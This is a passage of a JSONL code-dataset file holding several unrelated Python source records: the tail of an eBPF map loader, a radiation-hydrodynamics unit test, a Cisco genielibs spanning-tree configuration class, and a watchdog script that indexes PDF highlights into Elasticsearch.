kprobe__sys_clone(void *ctx) {\n    struct Key key = {};\n    u16 i = 0;\n    u8 *cursor = 0;\n    struct dns_char_t *c;\n    \n    struct Leaf * lookup_leaf = test.lookup(&key);\n    \n    if(lookup_leaf) {\n          bpf_trace_printk(\"%s\\\\n\", &lookup_leaf);\n          return -1;\n        }\n\n}\n\"\"\"\n\ndns_list=[\"foo.bar\",\"abcd.com\"]\n\nbpf = BPF(text = text, debug=0)\n\ntest = bpf.get_table(\"test\")\n\nfor e in dns_list:\n    print(\">>>> Adding map entry: \", e)\n    add_entry(test, e)\n    print(\"entry added\")\n    bpf.trace_print()","repo_name":"notmorpheus/DDoS_Processor","sub_path":"usertokerntests/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"10661355113","text":"## @package unittests.testRadHydroMMS\n#  Contains unittest class to test an MMS problem with the full\n#  radiation-hydrodynamics scheme\n\n# add source directory to module search path\nimport sys\nsys.path.append('../src')\n\n# symbolic math packages\nfrom sympy import symbols, exp, sin, pi, sympify\nfrom sympy.utilities.lambdify import lambdify\n\n# numpy\nimport numpy as np\n\n# unit test package\nimport unittest\n\n# local packages\nfrom createMMSSourceFunctions import createMMSSourceFunctionsRadHydro\nfrom mesh import Mesh\nfrom hydroState import HydroState\nfrom radiation import Radiation\nfrom plotUtilities import plotHydroSolutions, plotTemperatures, plotRadErg\nfrom utilityFunctions import computeRadiationVector, computeAnalyticHydroSolution\nfrom crossXInterface import ConstantCrossSection\nfrom transient import runNonlinearTransient\nfrom hydroBC import HydroBC\nfrom radBC   import RadBC\nimport globalConstants as GC\n\n## Derived unittest class to test the MMS source creator functions\n#\nclass TestRadHydroMMS(unittest.TestCase):\n   def setUp(self):\n      pass\n   def tearDown(self):\n      pass\n   def test_RadHydroMMS(self):\n      \n      # slope limiter: choices are:\n      # none step minmod double-minmod superbee minbee vanleer\n      slope_limiter = 'none' \n      \n      # number of elements\n      n_elems = 50\n\n      # end time\n      t_end = 0.1\n\n      # choice of solutions for hydro\n      hydro_case = \"linear\" # constant linear exponential\n      # choice of solutions for radiation\n      rad_case   = \"zero\" # zero constant sin\n\n      # declare symbolic variables\n      x, t, alpha, c = symbols('x t alpha c')\n      \n      # create solution for thermodynamic state and flow field\n      if hydro_case == \"constant\":\n         rho = sympify('4.0')\n         u   = sympify('1.2')\n         E   = sympify('10.0')\n      elif hydro_case == \"linear\":\n         rho = 1 + x - t\n         u   = sympify('1')\n         E   = 5 + 5*(x - 0.5)**2\n      elif hydro_case == \"exponential\":\n         rho = exp(x+t)+5\n         u   = exp(-x)*sin(t) - 1\n         E   = 10*exp(x+t)\n      else:\n         raise NotImplementedError(\"Invalid hydro test case\")\n      \n      # create solution for radiation field\n      if rad_case == \"zero\":\n         psim = sympify('0')\n         psip = sympify('0')\n      elif rad_case == \"constant\":\n         psim = 50*c\n         psip = 50*c\n      elif rad_case == \"sin\":\n         rad_scale = 50*c\n         psim = rad_scale*2*t*sin(pi*(1-x))+10*c\n         psip = rad_scale*t*sin(pi*x)+10*c\n      else:\n         raise NotImplementedError(\"Invalid radiation test case\")\n      \n      # numeric values\n      alpha_value = 0.01\n      cv_value    = 1.0\n      gamma_value = 1.4\n      sig_s = 1.0\n      sig_a = 1.0\n      #sig_a = 0.0\n      \n      # create MMS source functions\n      rho_src, mom_src, E_src, psim_src, psip_src = createMMSSourceFunctionsRadHydro(\n         rho           = rho,\n         u             = u,\n         E             = E,\n         psim          = psim,\n         psip          = psip,\n         sigma_s_value = sig_s,\n         sigma_a_value = sig_a,\n         gamma_value   = gamma_value,\n         cv_value      = cv_value,\n         alpha_value   = alpha_value,\n         display_equations = False)\n\n      # create functions for exact solutions\n      substitutions = dict()\n      substitutions['alpha'] = alpha_value\n      substitutions['c']     = GC.SPD_OF_LGT\n      rho = rho.subs(substitutions)\n      u   = u.subs(substitutions)\n      mom = rho*u\n      E   = E.subs(substitutions)\n      psim = psim.subs(substitutions)\n      psip = psip.subs(substitutions)\n      rho_f  = lambdify((symbols('x'),symbols('t')), rho,  \"numpy\")\n      u_f    = lambdify((symbols('x'),symbols('t')), u,    \"numpy\")\n      mom_f  = lambdify((symbols('x'),symbols('t')), mom,  \"numpy\")\n      E_f    = lambdify((symbols('x'),symbols('t')), E,    \"numpy\")\n      psim_f = lambdify((symbols('x'),symbols('t')), psim, \"numpy\")\n      psip_f = lambdify((symbols('x'),symbols('t')), psip, \"numpy\")\n      \n      # create uniform mesh\n      width = 1.0\n      mesh = Mesh(n_elems, width)\n\n      # compute radiation IC\n      psi_IC = computeRadiationVector(psim_f, psip_f, mesh, t=0.0)\n      rad_IC = Radiation(psi_IC)\n\n      # compute radiation BC; assumes BC is independent of time\n      psi_left  = psip_f(x=0.0,   t=0.0)\n      psi_right = psim_f(x=width, t=0.0)\n\n      #Create Radiation BC object\n      rad_BC = RadBC(mesh, \"dirichlet\", psi_left=psi_left, psi_right=psi_right)\n\n      # compute hydro IC\n      hydro_IC = computeAnalyticHydroSolution(mesh,t=0.0,\n         rho=rho_f, u=u_f, E=E_f, cv=cv_value, gamma=gamma_value)\n\n      # create hydro BC\n      hydro_BC = HydroBC(bc_type='dirichlet', mesh=mesh, rho_BC=rho_f,\n         mom_BC=mom_f, erg_BC=E_f)\n  \n      # create cross sections\n      cross_sects = [(ConstantCrossSection(sig_s, sig_s+sig_a),\n                      ConstantCrossSection(sig_s, sig_s+sig_a))\n                      for i in xrange(mesh.n_elems)]\n\n      # if run standalone, then be verbose\n      if __name__ == '__main__':\n         verbosity = 2\n      else:\n         verbosity = 0\n\n      # run the rad-hydro transient\n      rad_new, hydro_new = runNonlinearTransient(\n         mesh         = mesh,\n         problem_type = 'rad_hydro',\n         dt_option    = 'CFL',\n         #dt_option    = 'constant',\n         CFL          = 0.5,\n         #dt_constant  = 0.002,\n         slope_limiter = slope_limiter,\n         time_stepper = 'BDF2',\n         use_2_cycles = True,\n         t_start      = 0.0,\n         t_end        = t_end,\n         rad_BC       = rad_BC,\n         cross_sects  = cross_sects,\n         rad_IC       = rad_IC,\n         hydro_IC     = hydro_IC,\n         hydro_BC     = hydro_BC,\n         mom_src      = mom_src,\n         E_src        = E_src,\n         rho_src      = rho_src,\n         psim_src     = psim_src,\n         psip_src     = psip_src,\n         verbosity    = verbosity,\n         check_balance = False)\n\n      # plot\n      if __name__ == '__main__':\n\n         # compute exact hydro solution\n         hydro_exact = computeAnalyticHydroSolution(mesh, t=t_end,\n            rho=rho_f, u=u_f, E=E_f, cv=cv_value, gamma=gamma_value)\n\n         # plot hydro solution\n         plotHydroSolutions(mesh, hydro_new, x_exact=mesh.getCellCenters(),\n            exact=hydro_exact)\n\n         # compute exact radiation energy\n         Er_exact_fn = 1./GC.SPD_OF_LGT*(psim + psip)\n         Er_exact = []\n         x = mesh.getCellCenters()\n         for xi in x:\n             substitutions = {'x':xi, 't':t_end}\n             Er_exact.append(Er_exact_fn.subs(substitutions))\n\n         # plot radiation energy\n         plotRadErg(mesh, rad_new.E, exact_Er=Er_exact)\n\n# run main function from unittest module\nif __name__ == '__main__':\n   unittest.main()\n\n","repo_name":"joshuahansel/radhydro","sub_path":"trunk/unittests/testRadHydroMMS.py","file_name":"testRadHydroMMS.py","file_ext":"py","file_size_in_byte":6774,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"42322157461","text":"\n__all__ = (\n        'Stp',\n        )\n\n# import python\nimport operator\n\n# import genie\nfrom genie.decorator import managedattribute\nfrom genie.conf.base.config import CliConfig\nfrom genie.conf.base.base import DeviceFeature, InterfaceFeature\nfrom genie.conf.base.attributes import DeviceSubAttributes,\\\n                                       SubAttributesDict,\\\n                                       AttributesHelper, \\\n                                       KeyedSubAttributes\n# import genie.libs\nfrom genie.conf.base.attributes import InterfaceSubAttributes\n\n\n# Structure\n# Stp\n#  +- Device\n#      +- Mode\n#          +- Pvst\n#          |   +- Vlan\n#          |   |   +- Interface\n#          |   +- Interface\n#          +- Pvrstag\n#          |   +- Interface\n#          |       +- Vlan\n#          +- Pvstag\n#          |   +- Interface\n#          |       +- Vlan\n#          +- Mst\n#          |   +- Instance\n#          |       +- Interface\n#          |   +- Interface\n#          +- Mstag\n#              +- Interface\n#                  +- Instance\n\nclass Stp(DeviceFeature, InterfaceFeature):\n\n    # callable to check regexp\n    @staticmethod\n    def test_isregexp(reg):\n        '''Create a transformation function that allows only an object\n        contained in the specified reg.\n\n        Use with the managedattribute 'type' argument to accept only an object\n        contained in the specified reg (where `value in reg`)\n\n        Upon success, the resulting transformation function returns the value\n        unchanged.\n\n        Args:\n            reg: Any reg, such as an regexp pattern ('\\d+')\n\n        Example:\n\n            attr = managedattribute(\n                name='attr',\n                type=managedattribute.test_in({1, 2, 3}))\n\n            attr = managedattribute(\n                name='attr',\n                type=managedattribute.test_in(range(10)))\n        '''\n\n        msg = 'Not string like %r.' % (reg,)\n        import re\n\n        def f(value):\n            if not re.search(reg, value):\n                raise ValueError(msg)\n            return value\n\n        return f\n\n    # callable to check regexp\n    @staticmethod\n    def test_isincrements_in_range(base, container):\n        '''Create a transformation function that allows only an object\n        in increments of base number, and in a range of numbers\n\n        Args:\n            base: Any integer, such as 16, 4096\n\n        Example:\n\n            attr = managedattribute(\n                name='attr',\n                type=managedattribute.test_isincrements(16))\n        '''\n\n        msg = 'Not in increments of %r.' % (base,)\n\n        def f(value):\n            if value not in container:\n                raise ValueError('Not in %r.' % (container,))\n\n            if value%base:\n                raise ValueError(msg)\n            return value\n\n        return f\n\n    # add method to managedattribute\n    managedattribute.test_isregexp = test_isregexp\n    managedattribute.test_isincrements_in_range = test_isincrements_in_range\n\n    # device attributes\n    bridge_assurance = managedattribute(\n        name='bridge_assurance',\n        default=None,\n        type=(None, managedattribute.test_istype(bool)))\n\n    etherchannel_misconfig_guard = managedattribute(\n        name='etherchannel_misconfig_guard',\n        default=None,\n        type=(None, managedattribute.test_istype(bool)))\n\n    bpduguard_timeout_recovery = managedattribute(\n        name='bpduguard_timeout_recovery',\n        default=None,\n        type=(None, managedattribute.test_istype(int)))\n\n    loop_guard = managedattribute(\n        name='loop_guard',\n        default=None,\n        type=(None, managedattribute.test_istype(bool)))\n\n    bpdu_guard = managedattribute(\n        name='bpdu_guard',\n        default=None,\n        type=(None, managedattribute.test_istype(bool)))\n\n    bpdu_filter = managedattribute(\n        name='bpdu_filter',\n        default=None,\n        type=(None, managedattribute.test_istype(bool)))\n\n    hold_count = managedattribute(\n        name='hold_count',\n        default=None,\n        type=(None, managedattribute.test_istype(int)))\n\n    # mode mst attributes\n    mst_domain = managedattribute(\n        name='mst_domain',\n        default=None,\n        type=(None, managedattribute.test_istype(str)))\n\n    m_max_hop = managedattribute(\n        name='m_max_hop',\n        default=None,\n        type=(None, managedattribute.test_in(range(1, 256))))\n\n    m_hello_time = managedattribute(\n        name='m_hello_time',\n        default=None,\n        type=(None, managedattribute.test_in(range(1, 11))))\n\n    m_max_age = managedattribute(\n        name='m_max_age',\n        default=None,\n        type=(None, managedattribute.test_in(range(6, 41))))\n\n    m_forwarding_delay = managedattribute(\n        name='m_forwarding_delay',\n        default=None,\n        type=(None, managedattribute.test_in(range(4, 31))))\n\n    mst_id = managedattribute(\n        name='mst_id',\n        default=None,\n        type=(None, managedattribute.test_istype(int)))\n    \n    m_vlans = managedattribute(\n        name='m_vlans',\n        default=None,\n        type=(None, managedattribute.test_istype(str)))\n    \n    m_name = managedattribute(\n        name='m_name',\n        default=None,\n        type=(None, managedattribute.test_istype(str)))\n\n    m_revision = managedattribute(\n        name='m_revision',\n        default=None,\n        type=(None, managedattribute.test_istype(int)))\n\n    m_bridge_priority = managedattribute(\n        name='m_bridge_priority',\n        default=None,\n        type=(None, managedattribute.test_isincrements_in_range(\n                        base=4096, container=range(0, 61441))))\n\n    m_inst_if_cost = managedattribute(\n        name='m_inst_if_cost',\n        default=None,\n        type=(None, managedattribute.test_istype(str)))\n\n    m_inst_if_port_priority = managedattribute(\n        name='m_inst_if_port_priority',\n        default=None,\n        type=(None, managedattribute.test_isincrements_in_range(\n                        base=16, container=range(0, 241))))\n    \n    m_if_edge_port = managedattribute(\n        name='m_if_edge_port',\n        default=None,\n        type=(None, managedattribute.test_in(['edge_enable','edge_disable','edge_auto'])))\n    \n    m_if_link_type = managedattribute(\n        name='m_if_link_type',\n        default=None,\n        type=(None, managedattribute.test_in(['p2p','shared','auto'])))\n    \n    m_if_guard = managedattribute(\n        name='m_if_guard',\n        default=None,\n        type=(None, managedattribute.test_in(['root','loop', 'none'])))\n\n    m_if_bpdu_guard = managedattribute(\n        name='m_if_bpdu_guard',\n        default=None,\n        type=(None, managedattribute.test_istype(bool)))\n\n    m_if_bpdu_filter = managedattribute(\n        name='m_if_bpdu_filter',\n        default=None,\n        type=(None, managedattribute.test_istype(bool)))\n\n    m_if_hello_time = managedattribute(\n        name='m_if_hello_time',\n        default=None,\n        type=(None, managedattribute.test_istype(int)))\n\n    # mode mstag attributes\n    mag_domain = managedattribute(\n        name='mag_domain',\n        default=None,\n        type=(None, managedattribute.test_istype(int)))\n\n    mag_if_name = managedattribute(\n        name='mag_if_name',\n        default=None,\n        type=(None, managedattribute.test_istype(str)))\n\n    mag_if_revision = managedattribute(\n        name='mag_if_revision',\n        default=None,\n        type=(None, managedattribute.test_istype(int)))\n\n    mag_if_bridge_id = managedattribute(\n        name='mag_if_bridge_id',\n        default=None,\n        type=(None, managedattribute.test_istype(str)))\n    \n    mag_id = managedattribute(\n        name='mag_id',\n        default=None,\n        type=(None, managedattribute.test_in(range(0, 4095))))\n\n    mag_if_root_id = managedattribute(\n        name='mag_if_root_id',\n        default=None,\n        type=(None, managedattribute.test_isregexp('\\w+\\.\\w+\\.\\w+')))\n    \n    mag_if_vlans = managedattribute(\n        name='mag_if_vlans',\n        default=None,\n        type=(None, managedattribute.test_istype(str)))\n    \n    mag_if_priority = managedattribute(\n        name='mag_if_priority',\n        default=None,\n        type=(None, managedattribute.test_in(range(0, 61441))))\n\n    mag_if_root_priority = managedattribute(\n        name='mag_if_root_priority',\n        default=None,\n        type=(None, managedattribute.test_istype(int)))\n\n    # attribtues for pvst mode\n    pvst_id = managedattribute(\n        name='pvst_id',\n        default=None,\n        type=(None, managedattribute.test_istype(str)))\n\n    p_max_age = managedattribute(\n        name='p_max_age',\n        default=None,\n        type=(None, managedattribute.test_in(range(6, 41))))\n\n    p_hold_count = managedattribute(\n        name='p_hold_count',\n        default=None,\n        type=(None, managedattribute.test_in(range(1, 11))))\n\n    p_forwarding_delay = managedattribute(\n        name='p_forwarding_delay',\n        default=None,\n        type=(None, managedattribute.test_in(range(4, 31))))\n\n    vlan_id = managedattribute(\n        name='vlan_id',\n        default=None,\n        type=(None, managedattribute.test_istype(str)))\n\n    v_hello_time = managedattribute(\n        name='v_hello_time',\n        default=None,\n        type=(None, managedattribute.test_in(range(1, 11))))\n\n    v_max_age = managedattribute(\n        name='v_max_age',\n        default=None,\n        type=(None, managedattribute.test_in(range(6, 41))))\n\n    v_forwarding_delay = managedattribute(\n        name='v_forwarding_delay',\n        default=None,\n        type=(None, managedattribute.test_in(range(4, 31))))\n\n    v_bridge_priority = managedattribute(\n        name='v_bridge_priority',\n        default=None,\n        type=(None, managedattribute.test_isincrements_in_range(\n                        base=4096, container=range(0, 61441))))\n\n    v_interface = managedattribute(\n        name='v_interface',\n        default=None,\n        type=(None, managedattribute.test_istype(str)))\n    \n    v_if_cost = managedattribute(\n        name='v_if_cost',\n        default=None,\n        type=(None, managedattribute.test_istype(str)))\n\n    v_if_port_priority = managedattribute(\n        name='v_if_port_priority',\n        default=None,\n        type=(None, managedattribute.test_isincrements_in_range(\n                        base=16, container=range(0, 241))))\n\n    p_if_edge_port = managedattribute(\n        name='p_if_edge_port',\n        default=None,\n        type=(None, managedattribute.test_in(['edge_enable','edge_disable','edge_auto'])))\n\n    p_if_link_type = managedattribute(\n        name='p_if_link_type',\n        default=None,\n        type=(None, managedattribute.test_in(['p2p','shared','auto'])))\n\n    p_if_guard = managedattribute(\n        name='p_if_guard',\n        default=None,\n        type=(None, managedattribute.test_in(['root','loop','none'])))\n\n    p_if_bpdu_guard = managedattribute(\n        name='p_if_bpdu_guard',\n        default=None,\n        type=(None, managedattribute.test_istype(bool)))\n\n    p_if_bpdu_filter = managedattribute(\n        name='p_if_bpdu_filter',\n        default=None,\n        type=(None, managedattribute.test_istype(bool)))\n\n    p_if_hello_time = managedattribute(\n        name='p_if_hello_time',\n        default=None,\n        type=(None, managedattribute.test_in([1, 2])))\n\n    # attributes for mode pvrstag\n    prag_domain = managedattribute(\n        name='prag_domain',\n        default=None,\n        type=(None, managedattribute.test_istype(str)))\n\n    prag_if_v_root_priority = managedattribute(\n        name='prag_if_v_root_priority',\n        default=None,\n        type=(None, managedattribute.test_in(range(0, 61441))))\n\n    prag_if_v_root_id = managedattribute(\n        name='prag_if_v_root_id',\n        default=None,\n        type=(None, managedattribute.test_isregexp('\\w+\\.\\w+\\.\\w+')))\n    \n    prag_if_v_root_cost = managedattribute(\n        name='prag_if_v_root_cost',\n        default=None,\n        type=(None, managedattribute.test_in(range(0, 4294967296))))\n    \n    prag_if_v_priority = managedattribute(\n        name='prag_if_v_priority',\n        default=None,\n        type=(None, managedattribute.test_in(range(0, 61441))))\n\n    prag_if_v_bridge_id = managedattribute(\n        name='prag_if_v_bridge_id',\n        default=None,\n        type=(None, managedattribute.test_isregexp('\\w+\\.\\w+\\.\\w+')))\n\n    prag_if_v_port_priority = managedattribute(\n        name='prag_if_v_port_priority',\n        default=None,\n        type=(None, managedattribute.test_in(range(0, 241))))\n\n    prag_if_v_max_age = managedattribute(\n        name='prag_if_v_max_age',\n        default=None,\n        type=(None, managedattribute.test_in(range(6, 41))))\n\n    prag_if_v_hello_time = managedattribute(\n        name='prag_if_v_hello_time',\n        default=None,\n        type=(None, managedattribute.test_in([1,2])))\n\n    # attributes for mode pvstag\n    pag_domain = managedattribute(\n        name='pag_domain',\n        default=None,\n        type=(None, managedattribute.test_istype(str)))\n\n    pag_if_v_root_priority = managedattribute(\n        name='pag_if_v_root_priority',\n        default=None,\n        type=(None, managedattribute.test_in(range(0, 65536))))\n\n    pag_if_v_root_id = managedattribute(\n        name='pag_if_v_root_id',\n        default=None,\n        type=(None, managedattribute.test_isregexp('\\w+\\.\\w+\\.\\w+')))\n    \n    pag_if_v_root_cost = managedattribute(\n        name='pag_if_v_root_cost',\n        default=None,\n        type=(None, managedattribute.test_in(range(0, 4294967296))))\n    \n    pag_if_v_priority = managedattribute(\n        name='pag_if_v_priority',\n        default=None,\n        type=(None, managedattribute.test_in(range(0, 65536))))\n\n    pag_if_v_bridge_id = managedattribute(\n        name='pag_if_v_bridge_id',\n        default=None,\n        type=(None, managedattribute.test_isregexp('\\w+\\.\\w+\\.\\w+')))\n\n    pag_if_v_port_priority = managedattribute(\n        name='pag_if_v_port_priority',\n        default=None,\n        type=(None, managedattribute.test_in(range(0, 256))))\n\n    pag_if_v_max_age = managedattribute(\n        name='pag_if_v_max_age',\n        default=None,\n        type=(None, managedattribute.test_in(range(6, 41))))\n\n    pag_if_v_hello_time = managedattribute(\n        name='pag_if_v_hello_time',\n        default=None,\n        type=(None, managedattribute.test_in([1,2])))\n\n\n    class DeviceAttributes(DeviceSubAttributes):\n\n        class ModeAttributes(KeyedSubAttributes):\n            def __init__(self, parent, key):\n                self.mode = key\n                super().__init__(parent)\n\n            mode = property(operator.attrgetter('_mode'))\n\n            @mode.setter\n            def mode(self, d):\n                assert d in ['mstp', 'mstag', 'pvst', 'rapid-pvst', 'pvrstag', 'pvstag'], \\\n                    \"should be 'mstp', 'mstag', 'pvst', 'rapid-pvst', 'pvrstag', 'pvstag' \"\n                self._mode = d\n\n            # ---------------\n            #    mode MST\n            # ---------------\n            class MstAttributes(KeyedSubAttributes):\n                def __init__(self, parent, key):\n                    self.mst_domain = key\n                    super().__init__(parent)\n\n                # +- Mst\n                # |   +- Interface\n                class InterfaceAttributes(InterfaceSubAttributes):\n                    pass\n\n                interface_attr = managedattribute(\n                    name='interface_attr',\n                    read_only=True,\n                    doc=InterfaceAttributes.__doc__)\n\n                @interface_attr.initter\n                def interface_attr(self):\n                    return SubAttributesDict(self.InterfaceAttributes, parent=self)\n\n                # +- Mst\n                # |   +- Instance\n                # |       +- Interface\n                class InstanceAttributes(KeyedSubAttributes):\n                    def __init__(self, parent, key):\n                        self.mst_id = key\n                        super().__init__(parent)\n\n                    class InterfaceAttributes(InterfaceSubAttributes):\n                        pass\n\n                    interface_attr = managedattribute(\n                        name='interface_attr',\n                        read_only=True,\n                        doc=InterfaceAttributes.__doc__)\n\n                    @interface_attr.initter\n                    def interface_attr(self):\n                        return SubAttributesDict(self.InterfaceAttributes, parent=self)\n\n                instance_attr = managedattribute(\n                    name='instance_attr',\n                    read_only=True,\n                    doc=InstanceAttributes.__doc__)\n\n                @instance_attr.initter\n                def instance_attr(self):\n                    return SubAttributesDict(self.InstanceAttributes, parent=self)\n\n            mst_attr = managedattribute(\n                name='mst_attr',\n                read_only=True,\n                doc=MstAttributes.__doc__)\n\n            @mst_attr.initter\n            def mst_attr(self):\n                return SubAttributesDict(self.MstAttributes, parent=self)\n\n            # ---------------\n            #    mode Mstag\n            # ---------------\n            class MstagAttributes(KeyedSubAttributes):\n                def __init__(self, parent, key):\n                    self.mag_domain = key\n                    super().__init__(parent)\n\n                # +- Mstag\n                # |   +- Interface\n                # |       +- Instance\n                class InterfaceAttributes(InterfaceSubAttributes):\n\n                    class InstanceAttributes(KeyedSubAttributes):\n                        def __init__(self, parent, key):\n                            self.mag_id = key\n                            super().__init__(parent)\n\n                    instance_attr = managedattribute(\n                        name='instance_attr',\n                        read_only=True,\n                        doc=InstanceAttributes.__doc__)\n\n                    @instance_attr.initter\n                    def instance_attr(self):\n                        return SubAttributesDict(self.InstanceAttributes, parent=self)\n\n                interface_attr = managedattribute(\n                    name='interface_attr',\n                    read_only=True,\n                    doc=InterfaceAttributes.__doc__)\n\n                @interface_attr.initter\n                def interface_attr(self):\n                    return SubAttributesDict(self.InterfaceAttributes, parent=self)\n\n            mstag_attr = managedattribute(\n                name='mstag_attr',\n                read_only=True,\n                doc=MstagAttributes.__doc__)\n\n            @mstag_attr.initter\n            def mstag_attr(self):\n                return SubAttributesDict(self.MstagAttributes, parent=self)\n\n\n            # ---------------\n            #    mode Pvst\n            # ---------------\n            class PvstAttributes(KeyedSubAttributes):\n                def __init__(self, parent, key):\n                    self.pvst_id = key\n                    super().__init__(parent)\n\n                # +- Pvst\n                # |   +- Interface\n                class InterfaceAttributes(InterfaceSubAttributes):\n                    pass\n\n                interface_attr = managedattribute(\n                    name='interface_attr',\n                    read_only=True,\n                    doc=InterfaceAttributes.__doc__)\n\n                @interface_attr.initter\n                def interface_attr(self):\n                    return SubAttributesDict(self.InterfaceAttributes, parent=self)\n\n                # +- Pvst\n                # |   +- Vlan\n                # |       +- Interface\n                class VlanAttributes(KeyedSubAttributes):\n                    def __init__(self, parent, key):\n                        self.vlan = key\n                        super().__init__(parent)\n\n                    class InterfaceAttributes(InterfaceSubAttributes):\n                        pass\n\n                    interface_attr = managedattribute(\n                        name='interface_attr',\n                        read_only=True,\n                        doc=InterfaceAttributes.__doc__)\n\n                    @interface_attr.initter\n                    def interface_attr(self):\n                        return SubAttributesDict(self.InterfaceAttributes, parent=self)\n\n                vlan_attr = managedattribute(\n                    name='vlan_attr',\n                    read_only=True,\n                    doc=VlanAttributes.__doc__)\n\n                @vlan_attr.initter\n                def vlan_attr(self):\n                    return SubAttributesDict(self.VlanAttributes, parent=self)\n\n            pvst_attr = managedattribute(\n                name='pvst_attr',\n                read_only=True,\n                doc=PvstAttributes.__doc__)\n\n            @pvst_attr.initter\n            def pvst_attr(self):\n                return SubAttributesDict(self.PvstAttributes, parent=self)\n\n\n            # ---------------\n            #    mode Pvrstag\n            # ---------------\n            class PvrstagAttributes(KeyedSubAttributes):\n                def __init__(self, parent, key):\n                    self.prag_domain = key\n                    super().__init__(parent)\n\n                # +- Pvrstag\n                # |   +- Interface\n                # |       +- Vlan\n                class InterfaceAttributes(InterfaceSubAttributes):\n                    \n                    class VlanAttributes(KeyedSubAttributes):\n                        def __init__(self, parent, key):\n                            self.prag_vlan = key\n                            super().__init__(parent)\n\n                    vlan_attr = managedattribute(\n                        name='vlan_attr',\n                        read_only=True,\n                        doc=VlanAttributes.__doc__)\n\n                    @vlan_attr.initter\n                    def vlan_attr(self):\n                        return SubAttributesDict(self.VlanAttributes, parent=self)\n\n                interface_attr = managedattribute(\n                    name='interface_attr',\n                    read_only=True,\n                    doc=InterfaceAttributes.__doc__)\n\n                @interface_attr.initter\n                def interface_attr(self):\n                    return SubAttributesDict(self.InterfaceAttributes, parent=self)\n\n            pvrstag_attr = managedattribute(\n                name='pvrstag_attr',\n                read_only=True,\n                doc=PvrstagAttributes.__doc__)\n\n            @pvrstag_attr.initter\n            def pvrstag_attr(self):\n                return SubAttributesDict(self.PvrstagAttributes, parent=self)\n\n            # ---------------\n            #    mode Pvstag\n            # ---------------\n            class PvstagAttributes(PvrstagAttributes):\n                def __init__(self, parent, key):\n                    self.pag_domain = key\n                    super().__init__(parent)\n\n                # +- Pvstag\n                # |   +- Interface\n                # |       +- Vlan\n\n            pvstag_attr = managedattribute(\n                name='pvstag_attr',\n                read_only=True,\n                doc=PvrstagAttributes.__doc__)\n\n            @pvstag_attr.initter\n            def pvstag_attr(self):\n                return SubAttributesDict(self.PvstagAttributes, parent=self)\n\n\n        mode_attr = managedattribute(\n            name='mode_attr',\n            read_only=True,\n            doc=ModeAttributes.__doc__)\n\n        @mode_attr.initter\n        def mode_attr(self):\n            return SubAttributesDict(self.ModeAttributes, parent=self)\n\n    device_attr = managedattribute(\n        name='device_attr',\n        read_only=True,\n        doc=DeviceAttributes.__doc__)\n\n    @device_attr.initter\n    def device_attr(self):\n        return SubAttributesDict(self.DeviceAttributes, parent=self)\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n    def build_config(self, devices=None, apply=True, attributes=None,\n                     **kwargs):\n        cfgs = {}\n        assert not kwargs, kwargs\n        attributes = AttributesHelper(self, attributes)\n\n        if devices is None:\n            devices = self.devices\n        devices = set(devices)\n\n        for key, sub, attributes2 in attributes.mapping_items(\n                'device_attr',\n                keys=devices, sort=True):\n            cfgs[key] = sub.build_config(apply=False, attributes=attributes2)\n\n        if apply:\n            self.testbed.config_on_devices(cfgs, fail_invalid=True)\n        else:\n            return cfgs\n\n    def build_unconfig(self, devices=None, apply=True, attributes=None,\n                       **kwargs):\n        cfgs = {}\n        assert not kwargs, kwargs\n        attributes = AttributesHelper(self, attributes)\n\n        if devices is None:\n            devices = self.devices\n        devices = set(devices)\n\n        for key, sub, attributes2 in attributes.mapping_items(\n                'device_attr',\n                keys=devices, sort=True):\n            cfgs[key] = sub.build_unconfig(apply=False, attributes=attributes2)\n\n        if apply:\n            self.testbed.config_on_devices(cfgs, fail_invalid=True)\n        else:\n            return cfgs\n","repo_name":"CiscoTestAutomation/genielibs","sub_path":"pkgs/conf-pkg/src/genie/libs/conf/stp/stp.py","file_name":"stp.py","file_ext":"py","file_size_in_byte":25254,"program_lang":"python","lang":"en","doc_type":"code","stars":98,"dataset":"github-code","pt":"16"}
+{"seq_id":"2035324136","text":"#!/usr/bin/python2\n\n# -*- coding: utf-8 -*-\n\n# watchdog\nimport time\nfrom watchdog.observers import Observer\nfrom watchdog.events import PatternMatchingEventHandler\nfrom watchdog.events import FileSystemEventHandler\nfrom watchdog.events import FileSystemEvent\n\n# general\nimport pprint\nimport sys\n\n# mine\nfrom archie import *\nfrom extract import *\nfrom settings import *\n\npp = pprint.PrettyPrinter(indent=4)\n\n\n\nclass MyHandler(FileSystemEventHandler):\n\n    def on_modified(self, event):\n        if event.src_path.endswith('.pdf'):\n            output_filename = hl2md(event.src_path, md_folder)\n            print(\"changes, output filename\")\n            print(output_filename)\n            got_json = process(output_filename)\n            pp.pprint(got_json)\n            bibkey = got_json['text'][0]['Highlight'][0]['bib']\n            del_by_bibkey(es_index, bibkey)\n            post2es(got_json)\n        else:\n            pass\n\n    def on_created(self, event):\n        if event.src_path.endswith('.pdf'):\n            output_filename = hl2md(event.src_path, md_folder)\n            print(\"changes, output filename\")\n            print(output_filename)\n            got_json = process(output_filename)\n            pp.pprint(got_json)\n            post2es(got_json)\n        else:\n            pass\n\nif __name__ == '__main__':\n    print(\"---init main changes_2018---\")\n    args = text_folder\n\n    observer = Observer()\n    observer.schedule(MyHandler(), path=args if args else '.')\n    observer.start()\n\n    try:\n        while True:\n            time.sleep(1)\n    except KeyboardInterrupt:\n        observer.stop()\n\n    observer.join()\n    print(\"Watchdog watching ...\")\n","repo_name":"uree/colourcat4000","sub_path":"changes.py","file_name":"changes.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
